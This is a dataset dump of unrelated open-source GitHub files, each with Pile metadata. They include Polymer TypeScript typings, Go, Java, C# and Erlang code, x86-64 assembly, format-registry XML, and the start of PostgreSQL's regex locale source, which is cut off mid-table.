text
stringlengths
2
100k
meta
dict
/** * DO NOT EDIT * * This file was automatically generated by * https://github.com/Polymer/tools/tree/master/packages/gen-typescript-declarations * * To modify these typings, edit the source file(s): * lib/legacy/templatizer-behavior.html */ // tslint:disable:variable-name Describing an API that's defined elsewhere. /// <reference path="../utils/templatize.d.ts" /> declare namespace Polymer { /** * The `Polymer.Templatizer` behavior adds methods to generate instances of * templates that are each managed by an anonymous `Polymer.PropertyEffects` * instance where data-bindings in the stamped template content are bound to * accessors on itself. * * This behavior is provided in Polymer 2.x as a hybrid-element convenience * only. For non-hybrid usage, the `Polymer.Templatize` library * should be used instead. * * Example: * * // Get a template from somewhere, e.g. light DOM * let template = this.querySelector('template'); * // Prepare the template * this.templatize(template); * // Instance the template with an initial data model * let instance = this.stamp({myProp: 'initial'}); * // Insert the instance's DOM somewhere, e.g. light DOM * Polymer.dom(this).appendChild(instance.root); * // Changing a property on the instance will propagate to bindings * // in the template * instance.myProp = 'new value'; * * Users of `Templatizer` may need to implement the following abstract * API's to determine how properties and paths from the host should be * forwarded into to instances: * * _forwardHostPropV2: function(prop, value) * * Likewise, users may implement these additional abstract API's to determine * how instance-specific properties that change on the instance should be * forwarded out to the host, if necessary. * * _notifyInstancePropV2: function(inst, prop, value) * * In order to determine which properties are instance-specific and require * custom notification via `_notifyInstanceProp`, define an `_instanceProps` * object containing keys for each instance prop, for example: * * _instanceProps: { * item: true, * index: true * } * * Any properties used in the template that are not defined in _instanceProp * will be forwarded out to the Templatize `owner` automatically. * * Users may also implement the following abstract function to show or * hide any DOM generated using `stamp`: * * _showHideChildren: function(shouldHide) * * Note that some callbacks are suffixed with `V2` in the Polymer 2.x behavior * as the implementations will need to differ from the callbacks required * by the 1.x Templatizer API due to changes in the `TemplateInstance` API * between versions 1.x and 2.x. */ interface Templatizer { /** * Generates an anonymous `TemplateInstance` class (stored as `this.ctor`) * for the provided template. This method should be called once per * template to prepare an element for stamping the template, followed * by `stamp` to create new instances of the template. * * @param template Template to prepare * @param mutableData When `true`, the generated class will skip * strict dirty-checking for objects and arrays (always consider them to * be "dirty"). Defaults to false. */ templatize(template: HTMLTemplateElement, mutableData?: boolean): void; /** * Creates an instance of the template prepared by `templatize`. The object * returned is an instance of the anonymous class generated by `templatize` * whose `root` property is a document fragment containing newly cloned * template content, and which has property accessors corresponding to * properties referenced in template bindings. * * @param model Object containing initial property values to * populate into the template bindings. * @returns Returns the created instance of * the template prepared by `templatize`. */ stamp(model?: object|null): TemplateInstanceBase|null; /** * Returns the template "model" (`TemplateInstance`) associated with * a given element, which serves as the binding scope for the template * instance the element is contained in. A template model should be used * to manipulate data associated with this template instance. * * @param el Element for which to return a template model. * @returns Model representing the binding scope for * the element. */ modelForElement(el: HTMLElement|null): TemplateInstanceBase|null; } const Templatizer: object; }
{ "pile_set_name": "Github" }
<html> <head> <title><?= Yii::t('UserModule.user', 'Activation successed!'); ?></title> </head> <body> <?= Yii::t( 'UserModule.user', 'Your account on "{site}" was activated successfully!', ['{site}' => CHtml::encode(Yii::app()->name)] ); ?> <br/><br/> <?= Yii::t('UserModule.user', 'Now You can'); ?> <a href='<?= Yii::app()->getRequest()->hostInfo . $this->createUrl('/user/account/login'); ?>'> <?= Yii::t('UserModule.user', 'login'); ?> </a>! <br/><br/> <?= Yii::t( 'UserModule.user', 'Best regards, "{site}" administration!', ['{site}' => CHtml::encode(Yii::app()->name)] ); ?> </body> </html>
{ "pile_set_name": "Github" }
/* * Copyright (C) 2015 Red Hat, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy ofthe License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specificlanguage governing permissions and * limitations under the License. * */ package storage import ( "errors" "github.com/skydive-project/skydive/common" "github.com/skydive-project/skydive/flow" "github.com/skydive-project/skydive/graffiti/filters" ) // ErrNoStorageConfigured error no storage has been configured var ( ErrNoStorageConfigured = errors.New("No storage backend has been configured") ) // Storage interface a flow storage mechanism type Storage interface { Start() StoreFlows(flows []*flow.Flow) error SearchFlows(fsq filters.SearchQuery) (*flow.FlowSet, error) SearchMetrics(fsq filters.SearchQuery, metricFilter *filters.Filter) (map[string][]common.Metric, error) SearchRawPackets(fsq filters.SearchQuery, packetFilter *filters.Filter) (map[string][]*flow.RawPacket, error) Stop() }
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ use tpch; load dataset LineItem using localfs ((`path`=`asterix_nc1://data/tpch0.001/lineitem.tbl`),(`format`=`delimited-text`),(`delimiter`=`|`)); load dataset Orders using localfs ((`path`=`asterix_nc1://data/tpch0.001/orders.tbl`),(`format`=`delimited-text`),(`delimiter`=`|`)); load dataset Supplier using localfs ((`path`=`asterix_nc1://data/tpch0.001/supplier.tbl`),(`format`=`delimited-text`),(`delimiter`=`|`)); load dataset Region using localfs ((`path`=`asterix_nc1://data/tpch0.001/region.tbl`),(`format`=`delimited-text`),(`delimiter`=`|`)); load dataset Nation using localfs ((`path`=`asterix_nc1://data/tpch0.001/nation.tbl`),(`format`=`delimited-text`),(`delimiter`=`|`)); load dataset Part using localfs ((`path`=`asterix_nc1://data/tpch0.001/part.tbl`),(`format`=`delimited-text`),(`delimiter`=`|`)); load dataset Partsupp using localfs ((`path`=`asterix_nc1://data/tpch0.001/partsupp.tbl`),(`format`=`delimited-text`),(`delimiter`=`|`)); load dataset Customer using localfs ((`path`=`asterix_nc1://data/tpch0.001/customer.tbl`),(`format`=`delimited-text`),(`delimiter`=`|`));
{ "pile_set_name": "Github" }
package org.jokar.gankio.di.module.view; import org.jokar.gankio.view.ui.DownloadView; import dagger.Module; import dagger.Provides; /** * Created by JokAr on 2016/9/24. */ @Module public class DownloadViewModule { private DownloadView mDownloadView; public DownloadViewModule(DownloadView downloadView) { mDownloadView = downloadView; } @Provides public DownloadView downloadViewProvider(){ return mDownloadView; } }
{ "pile_set_name": "Github" }
fails:Array#bsearch_index raises a TypeError when block returns a String fails:Array#bsearch_index returns nil when block is empty fails:Array#bsearch_index when not passed a block returns an Enumerator fails:Array#bsearch_index when not passed a block returns an Enumerator with unknown size fails:Array#bsearch_index when not passed a block returns index of element when block condition is satisfied fails:Array#bsearch_index minimum mode returns index of first element which satisfies the block fails:Array#bsearch_index minimum mode returns nil when block condition is never satisfied fails:Array#bsearch_index find any mode returns the index of any matched elements where element is between 4 <= x < 8 fails:Array#bsearch_index find any mode returns the index of any matched elements where element is between 8 <= x < 10 fails:Array#bsearch_index find any mode returns nil when block never returns 0 fails:Array#bsearch_index find any mode returns the middle element when block always returns zero fails:Array#bsearch_index find any mode magnitude does not effect the result returns the index of any matched elements where element is between 4n <= xn < 8n fails:Array#bsearch_index find any mode magnitude does not effect the result returns nil when block never returns 0 fails:Array#bsearch_index find any mode magnitude does not effect the result handles values from Bignum#coerce
{ "pile_set_name": "Github" }
// // Author: // Jb Evain ([email protected]) // // Copyright (c) 2008 - 2015 Jb Evain // Copyright (c) 2008 - 2011 Novell, Inc. // // Licensed under the MIT/X11 license. // using System; namespace Mono.Cecil { public abstract class ParameterReference : IMetadataTokenProvider { string name; internal int index = -1; protected TypeReference parameter_type; internal MetadataToken token; public string Name { get { return name; } set { name = value; } } public int Index { get { return index; } } public TypeReference ParameterType { get { return parameter_type; } set { parameter_type = value; } } public MetadataToken MetadataToken { get { return token; } set { token = value; } } internal ParameterReference (string name, TypeReference parameterType) { if (parameterType == null) throw new ArgumentNullException ("parameterType"); this.name = name ?? string.Empty; this.parameter_type = parameterType; } public override string ToString () { return name; } public abstract ParameterDefinition Resolve (); } }
{ "pile_set_name": "Github" }
name=Satyr Piper image=https://magiccards.info/scans/en/ths/175.jpg value=2.857 rarity=U type=Creature subtype=Satyr,Rogue cost={2}{G} pt=2/1 ability={3}{G}: Target creature must be blocked this turn if able. timing=main oracle={3}{G}: Target creature must be blocked this turn if able. status=not supported: blocking-restriction
{ "pile_set_name": "Github" }
/* dotNetRDF is free and open source software licensed under the MIT License ----------------------------------------------------------------------------- Copyright (c) 2009-2012 dotNetRDF Project ([email protected]) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Text; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using Xunit; using VDS.RDF.Parsing; using VDS.RDF.Writing.Formatting; namespace VDS.RDF.Web { /// <summary> /// Summary description for ServiceDescription /// </summary> public class ServiceDescription { private void EnsureIIS() { Skip.IfNot(TestConfigManager.GetSettingAsBoolean(TestConfigManager.UseIIS), "Test Config marks IIS as unavailable, cannot run this test"); } [SkippableFact] public void ServiceDescriptionOptionsRequestOnSparqlServer() { EnsureIIS(); String server = TestConfigManager.GetSetting(TestConfigManager.LocalGraphStoreUri); Console.WriteLine("Making an OPTIONS request to the web demos SPARQL Server at " + server); Console.WriteLine(); NTriplesFormatter formatter = new NTriplesFormatter(); HttpWebRequest request = (HttpWebRequest)System.Net.WebRequest.Create(server); request.Method = "OPTIONS"; request.Accept = MimeTypesHelper.HttpAcceptHeader; using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) { IRdfReader parser = MimeTypesHelper.GetParser(response.ContentType); Graph g = new Graph(); parser.Load(g, new StreamReader(response.GetResponseStream())); TestTools.ShowGraph(g); Assert.False(g.IsEmpty, "A non-empty Service Description Graph should have been returned"); response.Close(); } } [SkippableFact] public void ServiceDescriptionOptionsRequestOnSparqlServer2() { EnsureIIS(); String path = TestConfigManager.GetSetting(TestConfigManager.LocalGraphStoreUri) + "some/long/path/elsewhere"; Console.WriteLine("Making an OPTIONS request to the web demos SPARQL Server at " + path); Console.WriteLine("This Test tries to ensure that the URI resolution works correctly"); Console.WriteLine(); NTriplesFormatter formatter = new NTriplesFormatter(); HttpWebRequest request = (HttpWebRequest)System.Net.WebRequest.Create(path); request.Method = "OPTIONS"; request.Accept = MimeTypesHelper.HttpAcceptHeader; using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) { IRdfReader parser = MimeTypesHelper.GetParser(response.ContentType); Graph g = new Graph(); parser.Load(g, new StreamReader(response.GetResponseStream())); TestTools.ShowGraph(g); Assert.False(g.IsEmpty, "A non-empty Service Description Graph should have been returned"); response.Close(); } } [SkippableFact] public void ServiceDescriptionDescriptionUriSparqlServer() { EnsureIIS(); String path = TestConfigManager.GetSetting(TestConfigManager.LocalGraphStoreUri) + "description"; Console.WriteLine("Making an request for the Service Description from the web demos SPARQL Server at " + path); Console.WriteLine(); NTriplesFormatter formatter = new NTriplesFormatter(); Graph g = new Graph(); UriLoader.Load(g, new Uri(path)); TestTools.ShowGraph(g); Assert.False(g.IsEmpty, "A non-empty Service Description Graph should have been returned"); } [SkippableFact] public void ServiceDescriptionOptionsRequestOnQueryHandler() { EnsureIIS(); String server = TestConfigManager.GetSetting(TestConfigManager.LocalQueryUri); Console.WriteLine("Making an OPTIONS request to the web demos Query Handler at " + server); Console.WriteLine(); NTriplesFormatter formatter = new NTriplesFormatter(); HttpWebRequest request = (HttpWebRequest)System.Net.WebRequest.Create(server); request.Method = "OPTIONS"; request.Accept = MimeTypesHelper.HttpAcceptHeader; using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) { IRdfReader parser = MimeTypesHelper.GetParser(response.ContentType); Graph g = new Graph(); parser.Load(g, new StreamReader(response.GetResponseStream())); TestTools.ShowGraph(g); Assert.False(g.IsEmpty, "A non-empty Service Description Graph should have been returned"); response.Close(); } } [SkippableFact] public void ServiceDescriptionOptionsRequestOnSparqlServer3() { EnsureIIS(); String server = TestConfigManager.GetSetting(TestConfigManager.LocalGraphStoreQueryUri); Console.WriteLine("Making an OPTIONS request to the web demos SPARQL Server Query Endpoint at " + server); Console.WriteLine(); NTriplesFormatter formatter = new NTriplesFormatter(); HttpWebRequest request = (HttpWebRequest)System.Net.WebRequest.Create(server); request.Method = "OPTIONS"; request.Accept = MimeTypesHelper.HttpAcceptHeader; using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) { IRdfReader parser = MimeTypesHelper.GetParser(response.ContentType); Graph g = new Graph(); parser.Load(g, new StreamReader(response.GetResponseStream())); TestTools.ShowGraph(g); Assert.False(g.IsEmpty, "A non-empty Service Description Graph should have been returned"); response.Close(); } } [SkippableFact] public void ServiceDescriptionOptionsRequestOnSparqlServer4() { EnsureIIS(); String server = TestConfigManager.GetSetting(TestConfigManager.LocalGraphStoreUpdateUri); Console.WriteLine("Making an OPTIONS request to the web demos SPARQL Server Update Endpoint at " + server); Console.WriteLine(); NTriplesFormatter formatter = new NTriplesFormatter(); HttpWebRequest request = (HttpWebRequest)System.Net.WebRequest.Create(server); request.Method = "OPTIONS"; request.Accept = MimeTypesHelper.HttpAcceptHeader; using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) { IRdfReader parser = MimeTypesHelper.GetParser(response.ContentType); Graph g = new Graph(); parser.Load(g, new StreamReader(response.GetResponseStream())); TestTools.ShowGraph(g); Assert.False(g.IsEmpty, "A non-empty Service Description Graph should have been returned"); response.Close(); } } } }
{ "pile_set_name": "Github" }
#### 6- Azure Service Bus Microsoft Azure Service Bus is a fully managed enterprise integration message broker. It support familiar concepts like Queues, Topics, Rules/Filters and much more. ##### High Level Architecture <img src="AzureServiceBusQueue.png" alt="Legend" width="70%" height="70%" /> <img src="AzureServiceBusTopic.png" alt="Legend" width="70%" height="70%" /> ##### Evaluation Table - Details Azure Service Bus supports AMQP 1.0, and couple of languages, PHP support is again limited for the protocol [AMQP Azure Service Bus Overview](https://docs.microsoft.com/en-us/azure/service-bus-messaging/service-bus-amqp-overview) [azure-uaqmp-c PHP Bindings for AMQP 1.0](https://github.com/norzechowicz/php-uamqp) [Exported PHP Modules from C Native Library](https://github.com/norzechowicz/php-uamqp/tree/master/ext/src/php) | Method | Evaluation | Implementation Readiness | | ------------- | ----------- | ------------------------------------------------------------ | | dequeue() | Available | receive() | | acknowledge() | Available | accept() / release() | | subscribe() | *Workaround | Long Polling might need to be implemented, unless we find a good library that supports AMQP 1.0 for PHP; Java has full support for required features. | | reject() | Available | reject(errorCondition, errorDescription) | | push() | Available | sendMessage(message, destination) | <img src="legend_img.png" alt="Legend" width="70%" height="70%" />
{ "pile_set_name": "Github" }
/* * Written by J.T. Conklin <[email protected]>. * Public domain. * * Adapted for `long double' by Ulrich Drepper <[email protected]>. * Adapted for x86-64 by Andreas Jaeger <[email protected]>. */ #include <machine/asm.h> .section .rodata.cst8,"aM",@progbits,8 .p2align 3 .type one,@object one: .double 1.0 ASM_SIZE_DIRECTIVE(one) /* It is not important that this constant is precise. It is only a value which is known to be on the safe side for using the fyl2xp1 instruction. */ .type limit,@object limit: .double 0.29 ASM_SIZE_DIRECTIVE(limit) #ifdef PIC # define MO(op) op##(%rip) #else # define MO(op) op #endif .text ENTRY(__ieee754_logl) fldln2 // log(2) fldt 8(%rsp) // x : log(2) fxam fnstsw fld %st // x : x : log(2) testb $1, %ah jnz 3f // in case x is NaN or +-Inf movzwl 8+8(%rsp), %eax cmpl $0xc000, %eax jae 6f // x <= -2, avoid overflow from -LDBL_MAX - 1. 4: fsubl MO(one) // x-1 : x : log(2) 6: fld %st // x-1 : x-1 : x : log(2) fabs // |x-1| : x-1 : x : log(2) fcompl MO(limit) // x-1 : x : log(2) fnstsw // x-1 : x : log(2) andb $0x45, %ah jz 2f fxam fnstsw andb $0x45, %ah cmpb $0x40, %ah jne 5f fabs // log(1) is +0 in all rounding modes. 5: fstp %st(1) // x-1 : log(2) fyl2xp1 // log(x) ret 2: fstp %st(0) // x : log(2) fyl2x // log(x) ret 3: testb $4, %ah jnz 4b // in case x is +-Inf fstp %st(1) fstp %st(1) fadd %st(0) ret END (__ieee754_logl) ENTRY(__logl_finite) fldln2 // log(2) fldt 8(%rsp) // x : log(2) fld %st // x : x : log(2) fsubl MO(one) // x-1 : x : log(2) fld %st // x-1 : x-1 : x : log(2) fabs // |x-1| : x-1 : x : log(2) fcompl MO(limit) // x-1 : x : log(2) fnstsw // x-1 : x : log(2) andb $0x45, %ah jz 2b fxam fnstsw andb $0x45, %ah cmpb $0x40, %ah jne 7f fabs // log(1) is +0 in all rounding modes. 7: fstp %st(1) // x-1 : log(2) fyl2xp1 // log(x) ret END (__logl_finite)
{ "pile_set_name": "Github" }
-module(chef_index_http). -export([ request/3, request/4, get/1, get/2, get/3, post/2, post/3, delete/2, delete/3, create_pool/0, delete_pool/0 ]). -define(DEFAULT_HEADERS, [{"Content-Type", "application/xml"}]). request(Path, Method, Body) -> request(Path, Method, Body, ?DEFAULT_HEADERS). request(Path, Method, Body, Headers) -> SolrConfig = envy:get(chef_index, solr_service, list), Timeout = proplists:get_value(timeout, SolrConfig), StartTime = erlang:monotonic_time(), Response = oc_httpc:request(?MODULE, Path, Headers, Method, Body, Timeout), EndTime = erlang:monotonic_time(), TimeTaken = EndTime - StartTime, TimeTakenInMicro = erlang:convert_time_unit(TimeTaken, native, microsecond), TimeTakenInMillis = TimeTakenInMicro/1000.0, prometheus_histogram:observe(chef_index_http_req_duration_ms, [Method], TimeTakenInMillis), case Response of {ok, "200", _Head, _RespBody} -> prometheus_counter:inc(chef_index_http_req_success_total, [Method]); _ -> prometheus_counter:inc(chef_index_http_req_failure_total, [Method]) end, Response. %% %% Simple helpers for requets when you only %% care about success or failure. %% -spec get(list()) -> ok | {error, term()}. get(Url) -> get(Url, [], ?DEFAULT_HEADERS). -spec get(list(), iolist() | binary()) -> ok | {error, term()}. get(Url, Body) -> get(Url, Body, ?DEFAULT_HEADERS). -spec get(list(), iolist() | binary(), list()) -> ok | {error, term()}. get(Url, Body, Headers) when is_list(Body) -> get(Url, iolist_to_binary(Body), Headers); get(Url, Body, Headers) -> request_with_caught_errors(Url, get, Body, Headers). -spec post(list(), iolist() | binary()) -> ok | {error, term()}. post(Url, Body) -> post(Url, Body, ?DEFAULT_HEADERS). -spec post(list(), iolist() | binary(), list()) -> ok | {error, term()}. post(Url, Body, Headers) when is_list(Body) -> post(Url, iolist_to_binary(Body), Headers); post(Url, Body, Headers) -> request_with_caught_errors(Url, post, Body, Headers). -spec delete(iolist(), iolist() | binary()) -> ok | {error, term()}. delete(Url, Body) -> delete(Url, Body, ?DEFAULT_HEADERS). -spec delete(iolist(), iolist() | binary(), list()) -> ok | {error, term()}. delete(Url, Body, Headers) when is_list(Body) -> delete(Url, iolist_to_binary(Body), Headers); delete(Url, Body, Headers) -> request_with_caught_errors(Url, delete, Body, Headers). request_with_caught_errors(Url, Method, Body, Headers) -> try Response = request(Url, Method, Body, Headers), case Response of {ok, "200", _Head, _RespBody} -> ok; Error -> {error, Error} end catch How:Why -> error_logger:error_report({chef_index_http, Method, How, Why}), {error, Why} end. create_pool() -> prometheus_histogram:declare([{name, chef_index_http_req_duration_ms}, {help, "Duration of HTTP requests via chef_index_http "}, {buckets, chef_index:histogram_buckets()}, {labels, [method]}]), prometheus_counter:declare([{name, chef_index_http_req_success_total}, {help, "Total number of successful HTTP requests via chef_index_http"}, {labels, [method]}]), prometheus_counter:declare([{name, chef_index_http_req_failure_total}, {help, "Total number of failed HTTP requests via chef_index_http"}, {labels, [method]}]), Pools = get_pool_configs(), [oc_httpc:add_pool(PoolNameAtom, Config) || {PoolNameAtom, Config} <- Pools], ok. delete_pool() -> Pools = get_pool_configs(), [ok = oc_httpc:delete_pool(PoolNameAtom) || {PoolNameAtom, _Config} <- Pools], ok. get_pool_configs() -> Config = envy:get(chef_index, solr_service, [], any), [{?MODULE, Config}].
{ "pile_set_name": "Github" }
var sheet = cssx(); (function () { var _1 = {}, _2 = {}, _3 = {}; _2['color'] = '#000'; _3['color'] = '#F00'; _1['body'] = _2; _1['body.error'] = _3; return _1; }.apply(this)) ; sheet.add((function () { var _5 = {}, _6 = {}, _7 = {}; _6['font-size'] = '10px'; _6['line-height'] = '12px'; _7['margin'] = 0; _7['padding'] = '2em'; _5['p'] = _6; _5['ul > foo'] = _7; return _5; }.apply(this))); var test = (function () { var _9 = {}; _9['border'] = 'solid 1px #000'; _9['background'] = '#F00'; return _9; }.apply(this));
{ "pile_set_name": "Github" }
# This is prip/vpyr/examples/simple_segmentation/CMakeLists.txt link_libraries(vpyr vmap ${VXL_LIB_PREFIX}vil) add_executable(vpyr_example_simple_segmentation simple_segmentation.cxx simple_segmentation_builder.cxx simple_segmentation_builder.h )
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <PRONOM-Report xmlns="http://pronom.nationalarchives.gov.uk"> <report_format_detail> <FileFormat> <FormatID>788</FormatID> <FormatName>Acrobat PDF/X - Portable Document Format - Exchange 1:2001</FormatName> <FormatVersion> </FormatVersion> <FormatAliases>PDF/X-1:2001</FormatAliases> <FormatFamilies> </FormatFamilies> <FormatTypes>Page Description</FormatTypes> <FormatDisclosure> </FormatDisclosure> <FormatDescription>This 'exchange standard' format is based on Adobe's PDF specification and a subset of the PDF specification. This version was an updated version of PDF/X-1:1999, and was based on PDF 1.3. It was superseded in 2003 by PDF/X-1a and PDF/X-3, at which point it was recommended that PDF/X-1 no longer be used. PDF/X-1 is the only PDF/X standard permitting encryption.</FormatDescription> <BinaryFileFormat>Text</BinaryFileFormat> <ByteOrders> </ByteOrders> <ReleaseDate> </ReleaseDate> <WithdrawnDate> </WithdrawnDate> <ProvenanceSourceID>1</ProvenanceSourceID> <ProvenanceName>Digital Preservation Department / The National Archives</ProvenanceName> <ProvenanceSourceDate>01 Feb 2007</ProvenanceSourceDate> <ProvenanceDescription> </ProvenanceDescription> <LastUpdatedDate>22 Oct 2009</LastUpdatedDate> <FormatNote> </FormatNote> <FormatRisk> </FormatRisk> <TechnicalEnvironment> </TechnicalEnvironment> <FileFormatIdentifier> <Identifier>application/pdf</Identifier> <IdentifierType>MIME</IdentifierType> </FileFormatIdentifier> <FileFormatIdentifier> <Identifier>fmt/145</Identifier> <IdentifierType>PUID</IdentifierType> </FileFormatIdentifier> <ExternalSignature> <ExternalSignatureID>794</ExternalSignatureID> <Signature>pdf</Signature> <SignatureType>File extension</SignatureType> </ExternalSignature> <InternalSignature> <SignatureID>693</SignatureID> <SignatureName>PDF/X-1:2001</SignatureName> <SignatureNote>BOF First 8 bytes: %PDF-1.3 Variable bytes: /GTS_PDFXVersion(PDF/X-1:2001)</SignatureNote> <ByteSequence> <ByteSequenceID>860</ByteSequenceID> <PositionType>Absolute from BOF</PositionType> <Offset>0</Offset> <MaxOffset> </MaxOffset> <IndirectOffsetLocation> </IndirectOffsetLocation> <IndirectOffsetLength> </IndirectOffsetLength> <Endianness> </Endianness> <ByteSequenceValue>255044462D312E33</ByteSequenceValue> </ByteSequence> <ByteSequence> <ByteSequenceID>861</ByteSequenceID> <PositionType>Variable</PositionType> <Offset> </Offset> <MaxOffset> </MaxOffset> <IndirectOffsetLocation> </IndirectOffsetLocation> <IndirectOffsetLength> </IndirectOffsetLength> <Endianness> </Endianness> <ByteSequenceValue>2F4754535F5044465856657273696F6E{0-1}285044462F582D313A3230303129</ByteSequenceValue> </ByteSequence> </InternalSignature> <RelatedFormat> <RelationshipType>Is previous version of</RelationshipType> <RelatedFormatID>789</RelatedFormatID> <RelatedFormatName>Acrobat PDF/X - Portable Document Format - Exchange 1a:2003</RelatedFormatName> <RelatedFormatVersion> </RelatedFormatVersion> </RelatedFormat> <RelatedFormat> <RelationshipType>Is subsequent version of</RelationshipType> <RelatedFormatID>787</RelatedFormatID> <RelatedFormatName>Acrobat PDF/X - Portable Document Format - Exchange 1:1999</RelatedFormatName> <RelatedFormatVersion> </RelatedFormatVersion> </RelatedFormat> <RelatedFormat> <RelationshipType>Is subtype of</RelationshipType> <RelatedFormatID>616</RelatedFormatID> <RelatedFormatName>Acrobat PDF 1.3 - Portable Document Format</RelatedFormatName> <RelatedFormatVersion>1.3</RelatedFormatVersion> </RelatedFormat> </FileFormat> <SearchCriteria>Criteria</SearchCriteria> </report_format_detail> </PRONOM-Report>
{ "pile_set_name": "Github" }
<?xml version='1.0' encoding='utf-8'?> <document xmlns="https://code.dccouncil.us/schemas/dc-library" xmlns:codified="https://code.dccouncil.us/schemas/codified" xmlns:codify="https://code.dccouncil.us/schemas/codify" xmlns:xi="http://www.w3.org/2001/XInclude" id="D.C. Law 20-122"> <num type="law">20-122</num> <heading type="short">Universal Code of Conduct and BEGA Amendment Act of 2013</heading> <meta> <effective>2014-07-15</effective> <citations> <citation type="law" url="http://lims.dccouncil.us/Download/29568/B20-0412-SignedAct.pdf">D.C. Law 20-122</citation> <citation type="register">61 DCR 5688</citation> </citations> <history url="http://lims.dccouncil.us/Legislation/B20-0412"> <narrative>Law 20-122, the “Universal Code of Conduct and BEGA Amendment Act of 2013,” was introduced in Council and assigned Bill No. 20-412. The Bill was adopted on first and second readings on April 8, 2014, and May 6, 2014, respectively. Signed by the Mayor on May 28, 2014, it was assigned Act No. 20-341 and transmitted to Congress for its review. D.C. Law 20-122 became effective on July 15, 2014.</narrative> </history> </meta> </document>
{ "pile_set_name": "Github" }
package ccerror type BuildpackZipInvalidError struct { Message string } func (e BuildpackZipInvalidError) Error() string { return e.Message }
{ "pile_set_name": "Github" }
export { default as any } from './any'; export { default as compact } from './compact'; export { default as concat } from './concat'; export { default as every } from './every'; export { default as filterBy } from './filter-by'; export { default as filter } from './filter'; export { default as findBy } from './find-by'; export { default as find } from './find'; export { default as first } from './first'; export { default as groupBy } from './group-by'; export { default as includes } from './includes'; export { default as indexOf } from './index-of'; export { default as invoke } from './invoke'; export { default as isAny } from './is-any'; export { default as isEvery } from './is-every'; export { default as join } from './join'; export { default as lastIndexOf } from './last-index-of'; export { default as last } from './last'; export { default as length } from './length'; export { default as mapBy } from './map-by'; export { default as map } from './map'; export { default as objectAt } from './object-at'; export { default as reduce } from './reduce'; export { default as rejectBy } from './reject-by'; export { default as reverse } from './reverse'; export { default as slice } from './slice'; export { default as sortBy } from './sort-by'; export { default as sort } from './sort'; export { default as uniqBy } from './uniq-by'; export { default as uniq } from './uniq'; export { default as without } from './without';
{ "pile_set_name": "Github" }
/* * regc_locale.c -- * * This file contains locale-specific regexp routines. * This file is #included by regcomp.c. * * Copyright (c) 1998 by Scriptics Corporation. * * This software is copyrighted by the Regents of the University of * California, Sun Microsystems, Inc., Scriptics Corporation, ActiveState * Corporation and other parties. The following terms apply to all files * associated with the software unless explicitly disclaimed in * individual files. * * The authors hereby grant permission to use, copy, modify, distribute, * and license this software and its documentation for any purpose, provided * that existing copyright notices are retained in all copies and that this * notice is included verbatim in any distributions. No written agreement, * license, or royalty fee is required for any of the authorized uses. * Modifications to this software may be copyrighted by their authors * and need not follow the licensing terms described here, provided that * the new terms are clearly indicated on the first page of each file where * they apply. * * IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY * FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES * ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY * DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE * IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE * NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR * MODIFICATIONS. * * GOVERNMENT USE: If you are acquiring this software on behalf of the * U.S. government, the Government shall have only "Restricted Rights" * in the software and related documentation as defined in the Federal * Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you * are acquiring the software on behalf of the Department of Defense, the * software shall be classified as "Commercial Computer Software" and the * Government shall have only "Restricted Rights" as defined in Clause * 252.227-7013 (c) (1) of DFARs. Notwithstanding the foregoing, the * authors grant the U.S. Government and others acting in its behalf * permission to use and distribute the software in accordance with the * terms specified in this license. * * src/backend/regex/regc_locale.c */ /* ASCII character-name table */ static const struct cname { const char *name; const char code; } cnames[] = { { "NUL", '\0' }, { "SOH", '\001' }, { "STX", 